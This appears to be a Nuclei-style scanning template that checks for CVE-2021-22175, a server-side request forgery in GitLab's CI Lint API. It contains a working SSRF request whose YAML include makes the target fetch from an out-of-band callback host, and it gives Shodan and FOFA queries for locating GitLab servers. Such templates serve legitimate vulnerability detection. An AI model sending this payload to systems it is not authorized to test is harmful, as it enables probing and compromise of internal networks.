漏洞描述
GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
id: CVE-2021-22175
info:
name: GitLab CI Lint API - Server-Side Request Forgery
author: 0x_Akoko
severity: high
description: |
GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
impact: |
Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
remediation: |
Update to the latest version of GitLab where the vulnerability is fixed.
reference:
- https://gitlab.com/gitlab-org/gitlab/-/issues/294178
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-22175
epss-score: 0.60386
epss-percentile: 0.98202
cwe-id: CWE-918
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: gitlab
product: gitlab
shodan-query: http.title:"GitLab"
fofa-query: app="GitLab"
tags: cve,cve2021,gitlab,ssrf,oast,vkev
http:
- raw:
- |
POST /api/v4/ci/lint HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"include_merged_yaml":true,"content":"include:\n remote: 'http://{{interactsh-url}}/gitlab.yml'"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Included file", "\"errors\":")'
- 'contains(content_type, "application/json")'
- 'contains(interactsh_protocol, "http")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100fb2523b6f9659c1f7b86c093bbd49e82c201b72981ede1c8f250ca18d18d205e022100dd0eb2a9742cb0100f3f8a0e982408cfa83a5d3e3792c1eb4260a16fb373105b:922c64590222798bb761d5b6d8e72950